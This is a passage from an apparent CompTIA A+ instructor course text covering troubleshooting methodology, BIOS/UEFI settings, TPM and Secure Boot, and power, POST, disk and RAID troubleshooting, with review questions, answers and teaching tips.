necessary if nothing else is providing a solution.
If you cannot solve a problem yourself, it is better to escalate it than to waste a
lot of time trying to come up with an answer. Formal escalation routes depend on
the type of support service you are operating and the terms of any warranties or
service contracts that apply. Some generic escalation routes include:
• Senior technical and administrative staff, subject matter experts (SMEs), and
developers/programmers within your company.

• Suppliers and manufacturers via warranty and support contracts and helplines
or web contact portals.

• Other support contractors/consultants, websites, and social media.

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Obtain authorization to use social media or public forums. Do not disclose proprietary,
confidential, or personal information when discussing an issue publicly.

Choosing whether to escalate a problem is complex because you must balance the
need to resolve a problem in a timely fashion against the possibility of incurring
additional costs or adding to the burdens/priorities that senior staff are already
coping with. You should be guided by policies and practices in the company you
work for. When you escalate a problem, make sure that what you have found out
or attempted so far is documented. Failing that, describe the problem clearly to
whoever is taking over or providing you with assistance.

Implement a Plan of Action

Show When you have a reliable theory of probable cause, you then need to determine the
Slide(s) next steps to solve the problem.
Implement a Plan of Troubleshooting is not just a diagnostic process. Devising and implementing a plan
Action to solve the problem requires effective decision-making. Sometimes there is no
Teaching
simple solution. There may be several solutions, and which is best might not be
Tip
obvious. An apparent solution might solve the symptoms of the problem but not
the cause. A solution might be impractical or too costly. Finally, a solution might
Point out that change
management is
be the cause of further problems, which could be even worse than the original
covered in more detail problem.
on the Core 2 course
There are typically three generic approaches to resolving an IT problem:
and exam.
• Repair—You need to determine whether the cost of repair makes this the best
option.

• Replace—Often more expensive and may be time-consuming if a part is not

available. There may also be an opportunity to upgrade the part or software.

• Workaround—Not all problems are critical. If neither repair nor replacement is

cost-effective, it may be best either to find a workaround or just to document the
issue and move on.

If a part or system is under warranty, you can return the broken part for a replacement.
To do this, you normally need to obtain a returned materials authorization (RMA) ticket
from the vendor.

Establish a Plan of Action

When you determined the best solution, you must devise a plan of action to put
the solution in place. You have to assess the resources, time, and cost required.
Another consideration is potential impacts on the rest of the system that your plan
of action may have. A typical example is applying a software patch, which might fix a
given problem but cause other programs not to work.
An effective change and configuration management system will help you to
understand how different systems are interconnected. You must seek the proper
authorization for your plan and conduct all remedial activities within the constraints
of corporate policies and procedures.

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Implement the Solution

If you do not have authorization to implement a solution, you will need to escalate
the problem to more senior personnel. If applying the solution is disruptive to the
wider network or business, you also need to consider the most appropriate time to
schedule the reconfiguration work and plan how to notify other network users.
When you make a change to the system as part of implementing a solution, test
after each change. If the change does not fix the problem, reverse it, and then try
something else. If you make a series of changes without recording what you have
done, you could find yourself in a tricky position.

Remember that troubleshooting may involve more than fixing a particular problem; it is
about maintaining the resources that users need to do their work.

Refer to Vendor Instructions

If you are completing troubleshooting steps under instruction from another
technician—the vendor's support service, for instance—make sure you properly
understand the steps you are being asked to take, especially if it requires
disassembly of a component or reconfiguration of software that you are not
familiar with.

Verify and Document

When you apply a solution, test that it fixes the reported problem and that the Show
system as a whole continues to function normally. Tests could involve any of the Slide(s)
following: Verify and Document
• Trying to use a component or performing the activity that prompted the problem
Teaching
report.
Tip
• Inspecting a component to see whether it is properly connected or damaged or Point out that ticketing
whether any status or indicator lights show a problem. systems are covered
in more detail on the
• Disabling or uninstalling the component (if it might be the cause of a wider Core 2 course and
problem). exam.

• Consulting logs and software tools to confirm a component is configured

properly.

• Updating software or a device driver.

Before you can consider a problem closed, you should both be satisfied in your own
mind that you have resolved it and get the customer's acceptance that it has been
fixed. Restate what the problem was and how it was resolved, and then confirm
with the customer that the incident log can be closed.

Implement Preventive Measures

To fully solve a problem, you should implement preventive measures. This means
eliminating any factors that could cause the problem to reoccur. For example, if the
power cable on a PC blows a fuse, you should not only replace the fuse, but also
check to see if there are any power problems in the building that may have caused
the fuse to blow in the first place. If a computer is infected with a virus, ensure that
the anti-virus software is updating itself regularly and users are trained to avoid
malware risks.

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Document Findings, Actions, and Outcomes

Most troubleshooting takes place within the context of a ticket system. This shows
who is responsible for any particular problem and what its status is. This gives
you the opportunity to add a complete description of the problem and its solution
(findings, actions, and outcomes).
This is very useful for future troubleshooting, as problems fitting into the same
category can be reviewed to see if the same solution applies. Troubleshooting steps
can be gathered into a “Knowledge Base” or Frequently Asked Questions (FAQ) of
support articles. It also helps to analyze IT infrastructure by gathering statistics on
what types of problems occur and how frequently.
The other value of a log is that it demonstrates what the support department is
doing to help the business. This is particularly important for third-party support
companies, who need to prove the value achieved in service contracts. When you
complete a problem log, remember that people other than you may come to rely
on it. Also, logs may be presented to customers as proof of troubleshooting activity.
Write clearly and concisely, checking for spelling and grammar errors.

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Review Activity:
Troubleshooting Methodology
3

Answer the following questions:

1. You are dealing with a support request and think that you have Show
identified the probable cause of the reported problem. What should be Slide(s)
your next troubleshooting step? Review

Test the theory to determine the cause. Teaching

Tip
2. If you must open the system case to troubleshoot a computer, what
should you check before proceeding? Take some time at
the end of each topic
You should check that data on the PC has been backed up. You should always verify to answer questions.
You can use the
that you have a backup before beginning any troubleshooting activities.
review questions
for discussion in
3. What should you do if you cannot determine the cause of a problem?
class or set them for
students to complete
You could consult a colleague, refer to product documentation, or search the web.
individually during or
It might also be appropriate to escalate the problem to more senior support staff. after class.
4. You think you have discovered the solution to a problem in a product Interaction
Knowledge Base, and the solution involves installing a software patch. Opportunity
What should be your next troubleshooting step?
If you have time and
You should identify any negative consequences in applying the software patch, then Internet access, ask
learners to look at
devise an implementation plan to install the file. You need to schedule the work so some help desk/
as to minimize disruption. You should also make a plan to roll back the installation, ticket management
should that prove necessary. systems, such as
Zoho, Zendesk, or
5. After applying a troubleshooting repair, replacement, or upgrade, what Spiceworks, to identify
should you do next? key features. They
could also look at
You should test that the fix works and that the system as a whole is functional. You some Knowledge
might also implement preventative measures to reduce the risk of the problem Bases and support
forums, such as
occurring again.
Tom’s Hardware,
Bleeping Computer, or
MajorGeeks.

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Topic 3B
Configure BIOS/UEFI
6

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 3.4 Given a scenario, install and configure motherboards, central processing units
(CPUs), and add-on cards.
Configure BIOS/UEFI

Teaching The motherboard firmware provides a low-level interface for configuring PC

Tip devices. It verifies that the components required to run an operating system are
Explain that firmware present and working correctly and provisions a trusted environment for various
provides a low-level security functions. You will often need to use the system setup program when
interface between the
computer hardware troubleshooting to check or modify firmware settings.
and the operating
system that it will
run. Understanding
BIOS and UEFI
the boot process
Firmware is specialized program code stored in flash memory. Firmware is distinct
and using system
setup are important from software because it is very closely tied to the basic functions of a specific
to troubleshooting hardware device type and model. PC or system firmware provides low-level code to
motherboard and allow PC components installed on a particular motherboard to be initialized so that
storage device issues. they can load the main operating system software.

Show
For many years, the system firmware for a PC was a type called the Basic
Slide(s)
Input/Output System (BIOS). BIOS only supports 32-bit operation and limited
functionality. Newer motherboards may use a different kind of firmware called
BIOS and UEFI
Unified Extensible Firmware Interface (UEFI). UEFI provides support for
Teaching
64-bit CPU operation at boot, a full GUI and mouse operation at boot, networking
Tip
functionality at boot, and better boot security. A computer with UEFI may also
support booting in a legacy BIOS mode.
Explain the function
of system firmware System settings can be configured via the system firmware setup program. The
and contrast BIOS and system setup program is accessed via a keystroke during the power-on (boot)
UEFI. Discuss how to
process, typically when the PC vendor’s logo is displayed. The key combination used
access system setup.
will vary from system to system; typical examples are Esc, Del, F1, F2, F10, or F12.

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Bootup access to system firmware setup. (Reproduced with permission of

Dell Copyright © Dell 2022 (2022). ALL Rights Reserved.)

One issue with modern computers is that the boot process can be very quick. If this
is the case, you can Shift-click the Restart button from the Windows logon screen to
access UEFI boot options.

You navigate a legacy BIOS setup program using the keyboard arrow keys. Pressing
Esc generally returns to the previous screen. When closing setup, there will be an
option to exit and discard changes or exit and save changes. Sometimes this is done
with a key (Esc versus F10, for instance), but more often there is a prompt. There
will also be an option for reloading the default settings in case you want to discard
any customizations you have made.

A BIOS setup program.

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UEFI setup programs use a graphical interface and have mouse support, though
advanced menus may still require keyboard navigation.

A UEFI setup program. (Screenshot used with permission from ASUSTek Computer Inc.)

Boot and Device Options

Show One of the most important parameters in system setup is the boot options
Slide(s) sequence or boot device priority. This defines the order in which the system
Boot and Device firmware searches devices for a boot manager.
Options

Teaching
Tip
Discuss the security
implications of
allowing unauthorized
operating systems to
boot the computer.
As PATA and SCSI are
on the Core 1 exam
objectives, you might
want to point out
that options for IDE/
ATA Mode and SCSI
will appear separately
from SATA (AHCI) if
they are supported as
boot devices. Older
SATA devices could
work in either IDE or
AHCI mode.
Boot parameters.

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Typical choices include:

• Fixed disk (HDD or SSD)—A SATA boot disk should generally be connected
to the lowest numbered port, but it is usually possible to select the hard drive
sequence if multiple fixed drives are installed. An SSD attached using SATA will
be listed with SATA/AHCI devices; an SSD installed as a PCIe Add-in Card (AIC) or
on the M.2 interface will be listed under NVMe.

• Optical drive (CD/DVD/Blu-ray)—If you are performing a repair install from

optical media, you might need to make this device the highest priority.

• USB—Most modern systems can boot from a USB drive that has been formatted
as a boot device. This option is often used for OS installs and repair utility boot
disks that are too large to fit on optical media.

• Network/PXE—Uses the network adapter to obtain boot settings from a

specially configured server.

Boot order configuration.

USB Permissions
As well as boot device configuration, there will be options for enabling/disabling and
configuring controllers and adapters provided on the motherboard. This provides
a way of enforcing USB permissions. On many systems, allowing the connection of
USB devices is a security risk. The setup program might allow individual ports to be
enabled or disabled.

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Using UEFI setup to configure permissions for USB and other external interfaces.
(Screenshot used with permission from ASUSTek Computer Inc.)

Fan Considerations
Most cooling fans can be controlled via system settings, typically under a menu
such as Cooling, Power, or Advanced. The menu will present options such as
balanced, cool (run fans harder), quiet (reduce fan speed and allow higher
temperatures), fanless, and custom. There will also be settings for minimum
temperature, which is the value at which fans will be started to cool the system.
Duty cycle settings are used to control the frequency of power pulses to keep the
fan running. A high percentage makes the fan run faster.
The setup program will also report the current temperature of the probes located
near each fan connector.

There are many third-party utilities that can access these settings and monitors from
within the OS.

Show
Slide(s)
Boot Passwords and Secure Boot
Boot Passwords and A boot password requires the user to authenticate before the operating system is
Secure Boot loaded. Different system software will provide different support for authentication
methods. There are usually at least two passwords, though some systems may
Teaching
allow for more:
Tip
Note that system/ • Supervisor/Administrator/Setup—Protect access to the system setup program.
supervisor passwords
are more commonly • User/System—Lock access to the whole computer. This is a very secure way of
configured than user protecting an entire PC as nothing can be done until the firmware has initialized
passwords. the system.

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You must tell everyone who uses the PC the password, which weakens the security
considerably. This option would be used only on workstations and servers that aren't
used for interactive logon, such as computers running monitoring or management
software.

Configuring system security.

Secure boot is a UEFI feature designed to prevent a computer from being hijacked
by malware. Under secure boot, the computer firmware is configured with
cryptographic keys that can identify trusted code. The system firmware checks
the operating system boot loader using the stored keys to ensure that it has
been digitally signed by the OS vendor. This prevents a boot loader that has been
modified by malware or an OS installed without authorization from being used. Show
Slide(s)
Keys from vendors such as Microsoft (Windows and Windows Server) and Linux distributions Trusted Platform
(Fedora, openSUSE, and Ubuntu) will be pre-loaded. Additional keys for other boot loaders Modules
can be installed (or the pre-loaded ones removed) via the system setup software. It is also
possible to disable secure boot. Teaching
Tip
Explain encryption
in terms of the end
Trusted Platform Modules goal and the role of
the key. Explain that
Encryption products make data secure by scrambling it in such a way that it can TPM is an embedded
cryptoprocessor. The
only subsequently be read if the user has the correct decryption key. This security
idea is that nothing
system is only strong as long as access to the key is protected. UEFI-based systems can tamper with the
provide built-in secure storage for cryptographic keys. TPM so that everything
“approved” by it can
Encryption encodes data using a key to give it the property of confidentiality. Many be trusted.
cryptographic processes also make use of hashing. A secure hash is a unique code that You might want
could only have been generated from the input. Hashes can be used to compare two copies to note that HSM
of data to verify that they are the same. Unlike encryption, the original data cannot be is interpreted as a
recovered from the hash code. secure USB thumb
drive here, but in
most environments
the term refers
Trusted Platform Module to a fullyfeatured
appliance to manage
Trusted platform module (TPM) is a specification for hardware-based keys on an enterprise-
storage of digital certificates, cryptographic keys, and hashed passwords. wide basis.

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The TPM establishes a root of trust. Each TPM microprocessor is hard coded with
a unique, unchangeable key, referred to as the endorsement key. During the boot
process, the TPM compares hashes of key system state data (system firmware,
boot loader, and OS kernel) to ensure they have not been tampered with. The
TPM chip has a secure storage area that a disk encryption program such as
Windows BitLocker can write its keys to.
The TPM can be enabled or disabled and reset via the system setup program,
though it is also possible to manage it from the OS as well.

Configuring a TPM.

Hardware Security Module

It is also possible to use a removable USB thumb drive to store keys. This is useful
if the computer does not support TPM, as a recovery mechanism in case the TPM is
damaged, or if a disk needs to be moved to another computer. A secure USB key or
thumb drive used to store cryptographic material can be referred to as a hardware
security module (HSM). Secure means that the user must authenticate with a
password, personal identification number (PIN), or fingerprint before he or she is
able to access the keys stored on the module.

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Review Activity:
BIOS/UEFI
7

Answer the following questions:

1. Name three keys commonly used to run a PC's BIOS/UEFI system setup Show
program. Slide(s)
Review
Esc, Del, F1, F2, F10, or F12.
Teaching
2. What widely supported boot method is missing from the following list?
Tip
HDD, Optical, USB.
Take some time at
Network/PXE (Pre-eXecution Environment)—obtaining boot information from a the end of each topic
specially configured server over the network. to answer questions.
You can use the
3. When you are configuring firmware-enforced security, what is the review questions
for discussion in
difference between a supervisor password and a user password?
class or set them for
students to complete
The user password allows the boot sequence to continue, while a supervisor
individually during or
password controls access to the firmware setup program. after class.
4. True or false? A TPM provides secure removable storage so that
encryption keys can be used with different computers.

False. A trusted platform module (TPM) provides secure storage for a single
computer as it is an embedded function of the CPU or motherboard chipset. The
term hardware security module (HSM) is sometimes used to describe a secure USB
thumb drive for storing encryption keys on portable media.

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Topic 3C
Troubleshoot Power and Disk Issues
5

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 5.2 Given a scenario, troubleshoot problems related to motherboards, RAM, CPU,
and power.
Troubleshoot Power
and Disk Issues 5.3 Given a scenario, troubleshoot and diagnose problems with storage drives and
RAID arrays.
Teaching
Tip Troubleshooting a PC that will not boot is one of the most common tasks for
Be sure you allocate a PC technician to undertake. You need to diagnose causes relating to power,
sufficient time to cover motherboard components, or disk issues from common symptoms.
this content.
Problems with disks and storage systems can have impacts beyond just booting
the computer. End users rely on the storage devices in their PCs to store important
system information and personal or professional data and files. Without a storage
device that works properly, the computer system is essentially worthless. As a
CompTIA A+ technician, you will likely be called upon to fix or troubleshoot common
problems with HDDs, SSDs, and other storage devices.

Troubleshoot Power Issues

Show PC components need a constant, stable supply of power to run. If the computer will
Slide(s) not start, it is likely to be due to a power problem. If the PC suddenly turns off or
Troubleshoot Power restarts, power is a common cause.
Issues When a computer is switched on, the power supply unit (PSU) converts the AC input
Teaching
voltage (VAC) to DC voltages (VDC). DC voltage is used to power the motherboard
Tip
components and peripheral devices. The PSU supplies 12 V power immediately,
and the fans and hard disks should spin up. The PSU then tests its 5 V and 3.3 V
The approach here is
to follow the computer
supplies. When it is sure that it is providing a stable supply, it sends a power good
boot process, signal to the processor.
discussing issues as
To diagnose no power symptoms, check if the LEDs on the front panel of the
they might arise at
each phase. system case are lit up and whether you can hear the fans. A power issue might arise
due to a fault in the PSU, incoming electricity supply, power cables/connectors, or
The syllabus no
fuses. To isolate the cause of no power, try the following tests:
longer references
multimeters or power 1. Check that other equipment in the area is working—There may be a fault in
supply testers as the power circuit or a wider complete failure of power (a blackout).
troubleshooting tools,
but make students 2. Try plugging another piece of known-good basic electrical equipment, such as
aware of their general
usage.
a lamp, into the wall socket. If it does not work, the wall socket is faulty. Get an
electrician to investigate the fault.

3. Check that the PSU cabling is connected to the PC and the wall socket correctly
and that all switches are in the “on” position.

4. Try another power cable—There may be a problem with the plug or fuse.
Check that all the wires are connected to the correct terminals in the plug.
Check the fuse resistance with a multimeter or swap with a known good fuse.

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5. Try disconnecting extra devices, such as a plug-in graphics card. If this solves
the problem, either the PSU is underpowered and you need to fit one with a
higher wattage rating, or one of the devices is faulty.

6. If you can ensure a safe working environment, test the PSU using a multimeter
or power supply tester.

Technician working with a power supply tester. (Image by Konstantin Malkov @123RF.com)

You must take appropriate safety measures before testing a live power supply. PC power
supplies are NOT user serviceable. Never remove the cover of a power supply.

If you still cannot identify the fault, then the problem is likely to be a faulty
motherboard or power supply. If you suspect that a power supply is faulty, do not
leave it turned on for longer than necessary and do not leave it unattended. Keep
an eye out for external signs of a problem (for example, smoke or fire). Turn off
immediately if there are any unusual sights, smells, or noises.

Troubleshoot POST Issues

Once the CPU has been given the power good signal, the system firmware performs Show
a power-on self-test (POST). The POST is a diagnostic program implemented in the Slide(s)
system firmware that checks the hardware to ensure the components required to Troubleshoot POST
boot the PC are present and functioning correctly. Issues

On modern computers the POST happens very quickly to improve boot times, so you are
unlikely to see any POST messages. Also, the PC is likely to be configured to show a logo
screen and will only display messages under error conditions.

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If power is present—you can hear the fans spinning, for instance—but the
computer does not start, there is a black screen, and there are no beeps from
the internal speaker, it is likely either that the display is faulty or that the POST
procedure is not executing. Assuming you can rule out an issue with the display, to
troubleshoot POST, try the following tests and solutions:
1. Ask what has changed—If the system firmware has been updated and the
PC has not booted since, the system firmware update may have failed. Use the
reset procedure.

2. Check cabling and connections, especially if maintenance work has just

been performed on the PC—An incorrectly oriented storage adapter cable
or a badly seated adapter card can stop the POST from running. Correct any
errors, reset adapter cards, and then reboot the PC.

3. Check for faulty interfaces and devices—It is possible that a faulty adapter
card or device is halting the POST. Try removing one device at a time to see if
this solves the problem (or remove all non-essential devices, then add them
back one by one).

4. Check the PSU—Even though the fans are receiving power, there may be a
fault that is preventing the power good signal from being sent to the CPU,
preventing POST.

5. Check for a faulty CPU or system firmware—If possible, replace the CPU
chip with a known good one or update the system firmware.

Some motherboards have jumpers to configure modes (such as firmware recovery) or

processor settings. If the jumpers are set incorrectly, it could cause the computer not to
boot. If a computer will not work after being serviced, check that the jumpers have not
been changed.

If POST runs but detects a problem, it generates an error message. As the fault may
prevent the computer from displaying anything on the screen, the error is often
indicated by a beep code. Use resources such as the manufacturer's website to
determine the meaning of the beep code.
The codes for the original IBM PC are listed in this table.

Code Meaning
1 short beep Normal POST—system is OK. Most modern PCs are
configured to boot silently, however.
2 short beeps POST error—error code shown on screen.
No beep Power supply, motherboard problem, or faulty
onboard speaker.
Continuous beep Problem with system memory modules or memory
controller.
Repeating short beeps Power supply fault or motherboard problem.
1 long, 1 short beep Motherboard problem.
1 long, 2 or 3 short beeps Video adapter error.
3 long beeps Keyboard issue (check that a key is not depressed).

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Some PCs will not boot if a key is stuck. Check that nothing is resting on the keyboard. If
the board is clogged with dust or sticky liquid, clean it using approved products, such as
swabs and compressed air blowers.

Troubleshoot Boot Issues

Once the POST tests are complete, the firmware searches for devices as specified Show
in the boot sequence. If the first device in the sequence is not found, the system Slide(s)
attempts to boot from the next device. For example, if there is no fixed disk, the Troubleshoot Boot
boot sequence checks for a USB-attached drive. If no disk-based boot device is Issues
found, the system might attempt to boot from the network. If no boot device is
found, the system displays an error message and halts the boot process.
If the system attempts to boot from an incorrect device, check that the removable
drives do not contain media that are interfering with the boot process and that the
boot device order is correctly configured.
If a fixed disk is not detected at boot, try to check that it is powering up. Drive
activity is usually indicated by an LED on the front panel of the system unit case. If
this is inactive, check that the drive has a power connector attached. If the PC has
no LEDs, or you suspect that they may be faulty, it is usually possible to hear a hard
disk spinning up. Once you have determined that the drive is powering up, try the
following:
• Check that data cables are not damaged and that they are correctly connected to
the drive.

• If the drives are connected to a motherboard port, check that it has not been
disabled by a jumper or via system setup.

Troubleshoot Boot Sector Issues

If you can rule out issues with power and cabling, suspect an issue with the device’s
boot sector and files. Corruption due to faults in the disk unit, power failure,
incorrect installation of multiple operating systems, or malware will prevent the
disk from working as a boot device. There are two ways of formatting the boot
information: MBR and GPT.
• In the legacy master boot record (MBR) scheme, the MBR is in the first sector of
the first partition. Partitions allow a single disk device to be divided into multiple
logical drives. The first sector contains information about the partitions on the
disk plus some code that points to the location of the active boot sector. The
boot sector is located either on the sector after the MBR or the first sector of
each other partition. It describes the partition file system and contains the code
that points to the method of booting the OS. Typically, this will be the Boot
Configuration Data (BCD) store for a Windows system or GRUB or LILO Linux
boot managers. Each primary partition can contain a boot sector, but only one of
them can be marked active.

• With the modern globally unique ID (GUID) partition table (GPT) boot scheme,
the boot information is not restricted to a single sector but still serves the same
basic purpose of identifying partitions and OS boot loaders.

Whether the disk is using an MBR or GPT partitioning scheme, damage to these
records results in boot errors such as “Boot device not found,” “OS not found,” or
“Invalid drive specification.” If this problem has been caused by malware, the best
way to resolve it is to use the boot disk option in your anti-virus software. This will
include a scanner that may detect the malware that caused the problem in the first
place and contain tools to repair the boot sector.

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If you don't have the option of using a recovery disk created by the anti-virus
software, you can try to use the repair options that come with the OS setup disk.

Troubleshoot OS Errors and Crash Screens

If a boot device is located, the code from the boot sector on the selected device
is loaded into memory and takes over from the system firmware. The boot sector
code loads the rest of the operating system files into system memory. Error
messages received after this point can usually be attributed to software or device
driver problems rather than physical issues with hardware devices.
If there is a serious fault, a Windows system will display a blue screen of death
(BSOD). This typically indicates that there is a system memory fault, a hardware
device/driver fault, or corruption of operating system files. Use the error code
displayed on the fault screen to look up the issue via online resources. The system
will generate a memory dump that you can forward for analysis if you have a
support contract.

Blue screen of death (BSOD) preventing a Windows PC from booting. (Screenshot courtesy
of Microsoft.)

Show A blue screen is a Windows proprietary crash screen. A macOS system that suffers
Slide(s) catastrophic process failure shows a spinning pinwheel (of death), also called a
Troubleshoot Drive
spinning wait cursor. Linux displays a kernel panic or “Something has gone wrong”
Availability message.

Interaction
Opportunity Troubleshoot Drive Availability
Ask learners to listen A hard disk drive (HDD) is most likely to fail due to mechanical problems either in
to their PCs to detect
the first few months of operation or after a few years. A solid-state drive (SSD) is
normal disk noise
(hopefully) and to typically more reliable but also has a maximum expected lifetime. With any fixed
observe any disk disk, sudden loss of power can cause damage and/or file corruption, especially if
status indicator lights. power loss occurs in the middle of a write operation.

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A fixed disk that is failing might display the following symptoms:

• Unusual noise (HDD only)—A healthy hard disk makes a certain low-level noise
when accessing the platters. A loud or grinding noise, or any sort of clicking
sound, is a sign of a mechanical problem.

• No LED status indicator activity—If disk activity lights are not active, the whole
system might not be receiving power, or the individual disk unit could be faulty.

• Constant LED activity—Constant activity, often referred to as disk thrashing,

can be a sign that there is not enough system RAM so that the disk is being
used continually for paging (virtual memory). It could also be a sign of a faulty
software process or that the system is infected with malware.

• Bootable device not found—If the PC fails to boot from the fixed disk, it is
either faulty or there is file corruption.

• Missing drives in OS—If the system boots, but a second fixed disk or removable
drive does not appear in tools such as File Explorer or cannot be accessed via
the command-line, first check that it has been initialized and formatted with a
partition structure and file system. If the disk is not detected by a configuration
tool such as Windows Disk Management, suspect that it has a hardware or cable/
connector fault.

• Read/write failure—This means that when you are trying to open or save a file,
an error message such as “Cannot read from the source disk” is displayed. On an
HDD, this is typically caused by bad sectors. A sector can be damaged through
power failure or a mechanical fault. If you run a test utility, such as chkdsk, and
more bad sectors are located each time the test is run, it is a sign that the disk is
about to fail. On an SSD, the cause will be one or more bad blocks. SSD circuitry
degrades over the course of many write operations. An SSD is manufactured
with “spare” blocks and uses wear leveling routines to compensate for this. If
the spare blocks are all used up, the drive firmware will no longer be able to
compensate for ones that have failed.

• Blue screen of death (BSOD)—A failing fixed disk and file corruption may cause
a particularly severe read/write failure, resulting in a system stop error (a crash
screen).

When experiencing any of these symptoms, try to make a data backup and replace
the disk as soon as possible to minimize the risk of data loss.

Troubleshoot Drive Reliability and Performance

In addition to symptoms that you can detect by observing system operation, most Show
fixed disks have a self-diagnostic program called Self-Monitoring, Analysis, and Slide(s)
Reporting Technology (SMART). SMART can alert the operating system if a failure Troubleshoot Drive
is detected. If you suspect that a drive is failing or if you experience performance Reliability and
issues such as extended read/write times, you should try to run more advanced Performance
diagnostic tests on the drive. Most fixed disk vendors supply utilities for testing
drives, or there may be a system diagnostics program supplied with the computer Teaching
system. Tip
Stress the importance
of data and the
need to back it
up, especially if
troubleshooting
efforts are not
successful.

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Using system diagnostics software to test a hard drive.

You can also use Windows utilities to query SMART and run manual tests.

Viewing SMART information via the SpeedFan utility. (Screenshot courtesy of Microsoft.)

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These tests can detect whether there is any damage to the device’s storage
mechanisms. In the case of performance, they can report statistics such as input/
output operations per second (IOPS). If performance is reduced from the
vendor’s baseline measurements under test conditions, it is likely that the device
itself is faulty. If performance metrics are similar to the device’s benchmark under
test conditions, any slow read/write access observed during operation is likely to
be due to a more complex system performance issue. Possible causes include
application load and general system resource issues, file fragmentation (on hard
disks), and limited remaining capacity.
Extended read/write times can also occur because particular sectors (HDDs) or
blocks (SSDs) fail (go “bad”). Data loss/corruption means that files stored in these
locations cannot be opened or simply disappear. When bad sectors or blocks are
detected, the disk firmware marks them as unavailable for use.
If there is file corruption on a hard disk and no backup, you can attempt to recover
data from the device using a recovery utility.

Using file recovery software to scan a disk. (Screenshot courtesy of Microsoft.)

File recovery from an SSD is not usually possible without highly specialized tools.

Troubleshoot RAID Failure

Redundant Array of Independent Disks (RAID) is usually configured as a means Show
of protecting data against the risk of a single fixed disk failing. The data is either Slide(s)
copied to a second drive (mirroring) or additional information is recorded on
Troubleshoot RAID
multiple drives to enable them to recover from a device failure (parity). RAID can Failure
be implemented using hardware controllers or features of the operating system.

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The redundant storage is made available as a volume, which can be partitioned and
formatted in the OS as one or more drives.
There are two main scenarios for RAID failure: failure of a device within the array
and failure of the whole array or volume.
If one of the underlying devices fails, the volume will be listed as “degraded,” but
the data on the volume will still be accessible and it should continue to function as a
boot device, if so configured.

RAID 0 has no redundancy, so if one of the disks fails, the volume will stop working. RAID
0 only has specialist uses where speed is more important than reliability.

Most desktop-level RAID solutions can tolerate the loss of only one disk, so it should
be replaced as soon as possible. If the array supports hot swapping, then the new
disk can simply be inserted into the chassis of the computer or into a disk chassis.
Once this is done, the array can be rebuilt using the RAID configuration utility (if a
hardware RAID controller is used) or an OS utility (if you are using software RAID).
Note that the rebuilding process is likely to severely affect performance as the
controller is probably writing multiple gigabytes of data to the new disk.

RAID errors using the configuration utility. This volume is missing one of its disks.

When hot swapping a faulty disk out, take extreme caution not to remove a healthy
disk from the array as making a mistake could cause the array to fail, depending on the
configuration. Disk failure is normally indicated by a red LED. Always make a backup
beforehand.

If a volume is not available, either more than the tolerated number of disks has
failed, or the controller has failed. If the boot volume is affected, then the operating
system will not start. If too many disks have failed, you will have to turn to the latest
backup or try to use file recovery solutions. If the issue is controller failure, then
data on the volume should be recoverable, though there may be file corruption if
a write operation was interrupted by the failure. Either install a new controller or
import the disks into another system.

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If the failure affects the boot process, use the RAID configuration utility to verify
its status. If you cannot access the configuration utility, then the controller itself is
likely to have failed.

Boot message indicating a problem with the RAID volume. PressCtrl+C to start the utility
and troubleshoot.

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Review Activity:
Power and Disk Issues
6

Answer the following questions:

Show 1. You have been servicing a computer, but when you have finished you
Slide(s) find that it will not turn on. There was no power problem before, and
Review you have verified that the computer is connected to a working electrical
outlet. What is the most likely explanation?
Teaching
Tip It is most likely that one or more power connectors have not been reconnected.
Take some time at
Check the P1 motherboard connector, a 4-pin CPU connector, and all necessary
the end of each topic SATA or Molex device connectors. Also, the cable connecting the power button to a
to answer questions. motherboard header could have been disconnected.
You can use the
review questions 2. Additional memory was installed in a user's system, and now it will not
for discussion in boot. What steps would you take to resolve this job ticket?
class or set them for
students to complete Use the vendor’s system setup guide to verify that the correct memory type was
individually during or installed on the system and in the correct configuration (consider whether dual-
after class.
channel memory was installed in the correct slots). Check that the new memory
module is seated properly in its slot. Try swapping memory around in the memory
slots.

3. You are trying to install Windows from the setup disc, but the computer
will not boot from the DVD. What should you do?

Check that the boot order in system setup is set correctly. If the boot order is
correct, check that the disc is not dirty or scratched. If the disc loads in another
computer, check that the optical drive data and power cables are connected.

4. Following a power cut, a user reports that their computer will not boot.
The message “BCD missing” is shown on the screen. The computer does
not store data that needs to be backed up. What is the best first step to
try to resolve the issue?

Use a system recovery disk to try to repair the disk drive’s boot information.

5. A user reports that there is a loud clicking noise when she tries to save a
file. What should be your first troubleshooting step?

Determine whether a data backup has been made. If not, try to make one.

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6. You receive a support call from a user of one of the company’s computer-
aided design (CAD) workstations. The user reports that a notification “RAID
utility reports that the volume is degraded” is being displayed. A recent
backup has been made. What should you do to try to restore the array?

A degraded volume is still working but has lost one of its disks. In most RAID
configurations, another disk failure would cause the volume to fail, so you should
add a new disk as soon as possible (though do note that rebuilding the array will
reduce performance).

7. A user reports hearing noises from the hard disk—does this indicate it is
failing and should be replaced?

Not necessarily. Hard disks do make noises, but they are not all indicators of a
problem. Question the user to find out what sort of noises are occurring or inspect
the system yourself.

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Topic 3D
Troubleshoot System and Display Issues
8

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 5.2 Given a scenario, troubleshoot problems related to motherboards, RAM, CPU,
and power.
Troubleshoot System
and Display Issues 5.4 Given a scenario, troubleshoot video, projector, and display issues.

Teaching As a CompTIA A+ technician, many of the service calls that you respond to will
Tip involve troubleshooting a wide range of issues and scenarios, including intermittent
This topic covers faults, performance problems, and display errors. Your ability to quickly and
troubleshooting effectively diagnose and solve the problems across a range of scenarios will be
overheating issues, essential in maintaining an optimal environment for the users you support.
performance issues,
and video issues.
Exam candidates Troubleshoot Component Issues
will need to be able
to recognize typical Symptoms such as the system locking up, intermittent shutdowns, continuous
symptoms and their rebooting, OS blue screen/Kernel panic errors, and application crashes are difficult
likely causes.
to diagnose with a specific cause, especially if you are not able to witness the events
Show directly. The most likely causes are software, disk/file corruption problems, or
Slide(s) malware.
Troubleshoot If you can discount these, try to establish whether the problem is truly intermittent
Component Issues or whether there is a pattern to the errors. If they occur when the PC has been
running for some time, it could be a thermal problem.
Next, check that the power supply is providing good, stable voltages to the system.
If you can discount the power supply, you must start to suspect a problem with
memory, CPU, or motherboard. The vendor may supply a diagnostic test program
that can identify hardware-level errors. These programs are often run from the
firmware setup utility rather than from the OS.
If no diagnostic utilities are available, you might be able to identify motherboard,
RAM, or CPU hardware issues by observing physical symptoms.

Overheating
Excessive heat can easily damage the sensitive circuitry of a computer. If a system
